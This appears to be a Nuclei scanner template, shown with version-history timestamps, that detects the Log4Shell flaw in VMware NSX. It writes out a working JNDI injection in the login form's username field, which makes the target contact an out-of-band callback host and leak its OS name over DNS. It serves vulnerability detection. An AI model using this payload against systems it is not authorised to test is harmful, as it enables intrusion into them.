2022-08-03 13:16:40 +00:00
id : vmware-nsx-log4j
info :
2022-08-10 16:41:02 +00:00
name : VMware NSX - Remote Code Execution (Apache Log4j)
2022-08-03 13:16:40 +00:00
author : DhiyaneshDK
severity : critical
2022-10-10 19:22:59 +00:00
description : VMware NSX is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
2022-08-03 13:16:40 +00:00
reference :
- https://kb.vmware.com/s/article/87086
2022-08-10 16:41:02 +00:00
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
2022-10-10 19:22:59 +00:00
classification :
2022-10-10 20:06:39 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score : 10
2022-10-10 19:22:59 +00:00
cve-id : CVE-2021-44228
2022-10-10 20:06:39 +00:00
cwe-id : CWE-917
2022-08-03 13:16:40 +00:00
metadata :
shodan-query : html:"vmw_nsx_logo-black-triangle-500w.png"
2022-10-12 10:44:42 +00:00
verified : "true"
2022-10-12 09:28:33 +00:00
tags : cve,cve2021,rce,jndi,log4j,graylog,kev,oast
2022-08-03 13:16:40 +00:00
requests :
- raw :
- |
2022-10-19 11:00:06 +00:00
@timeout : 20s
2022-08-03 13:16:40 +00:00
POST /login HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
Origin : {{BaseURL}}
Referer : {{BaseURL}}/login.jsp
username=${jndi:ldap://${sys:os.name}.{{interactsh-url}}}&password=admin&submit=
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol # Confirms the DNS Interaction
words :
- "dns"
- type : regex
part : interactsh_request
regex :
- '([a-zA-Z0-9.-]+).([a-z0-9]+).([a-z0-9]+).\w+' # Match for extracted ${sys:os.name} variable
2022-10-19 10:45:30 +00:00
- type : word
part : location
words :
- '/login.jsp?login_error=1'
2022-08-03 13:16:40 +00:00
extractors :
- type : kval
kval :
- interactsh_ip # Print remote interaction IP in output
- type : regex
part : interactsh_request
group : 1
regex :
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${sys:os.name} in output